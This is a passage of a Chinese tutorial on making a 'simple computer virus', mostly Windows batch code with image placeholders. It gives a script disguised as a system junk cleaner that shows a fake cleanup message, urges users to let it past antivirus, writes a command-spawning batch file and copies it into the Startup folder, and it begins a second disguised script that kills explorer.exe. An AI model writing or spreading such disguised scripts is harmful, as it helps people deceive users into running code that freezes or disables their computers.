电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒( 三 )


第一步 , 在C:\windows目录下创建文件“windows.bat” 。一个“>”表示覆盖文件内容 , 两个“>>”表示追加一句话至文件末尾 。
1echo start cmd >c:\windows\windows.bat
2echo %0>>c:\windows\windows.bat
用户打开这个程序之后 , 程序就会不断打开cmd , 占用系统资源 , 导致系统瘫痪 , %0是再次执行该程序的意思 。但是 , 这样只能让用户死机一次 , 重启系统以后 , 不再打开这个文件以后 , 就不再会中招了 。
第二步 , 将这个恶意脚本放到开机菜单中 , 每次开机都自动启动运行并导致电脑死机 。
errorlevel为预定义变量 , 随着系统变化而变化 。如果为0表示上一条命令执行成功 , 如果非0表示上一条命令执行失败 , 它不是Win7系统 , 而执行下面这条命令(XP系统、2003系统) 。

电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
代码“echo.”表示空行 , 比如代码:
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
输出结果如下图所示:
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
第三步 , 接着编写next区域代码 , 完整代码如下所示 。
1@echo off
2title 系统垃圾清理
3color 2f
4echo =====若有杀毒软件恶意拦截 , 请选择【允许程序的所有操作】====
5echo.
6echo.
7
8echo start cmd >c:\windows\windows.bat
9::echo %%0>>c:\windows\windows.bat
10
11copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
12if %errorlevel%==0 goto next
13
14copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo =====垃圾清理中 , 请不要关闭窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo =====垃圾清理完毕,共清理垃圾500M=======
25echo.
26echo.
27echo =====建议立即重启电脑==========
28pause
29
30:error
31echo.
32echo.
33echo ======程序运行失败 , 请【使用管理员权限】重新运行!========
34echo.
35pause
注意 , 我注释了重复操作代码“::echo %%0>>c:\windows\windows.bat” , 否则开机自启动很麻烦 。接着运行代码 , 如下图所示 , 需要右键“以管理员身份运行” 。
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
代码会在C:\windwos目录下创建批处理文件“windows.bat” 。
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
同时 , 在我的Win10系统开机自动动目录下也有该文件 。
目录:…\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
打开该文件可以看到写入的“start cmd”代码 , 表示打开CMD 。
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
双击该“windows.bat”文件 , 运行结果如下图所示 。
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
总结:本文编写了一个系统清理工具 , 其实是把这个windows.bat写到用户的开机自启动目录下 , 达到用户每次开机 , 都会运行该程序的目的 , 重复调用CMD占用资源 。如果中了该病毒 , 用户可以使用PE到开启启动目录把windows.bat文件删除 , 或者重装系统 , 再次建议大家别让它重复运行 。
电脑病毒制作代码 电脑病毒制作 自制简易电脑病毒

文章插图
四.进程关闭病毒
再看一个伪装垃圾清理的批处理代码 。该命令是杀死进程 , “/im explorer.exe”表示要杀死的进程名称 , 关闭桌面;“/f”表示强制杀死;“>nul”表示在屏幕上不要输出任何信息 。
1taskkill /im explorer.exe /f >nul 2>nul
完整代码如下所示 , 其中“Start c:\windows\expolrer.exe”表示继续开启桌面 , “ping -n 5 127.0.0.1>nul”用于消耗时间 。
1@echo off
2title 系统垃圾清理
3color 2f
4echo =====若有杀毒软件恶意拦截 , 请选择【允许程序的所有操作】====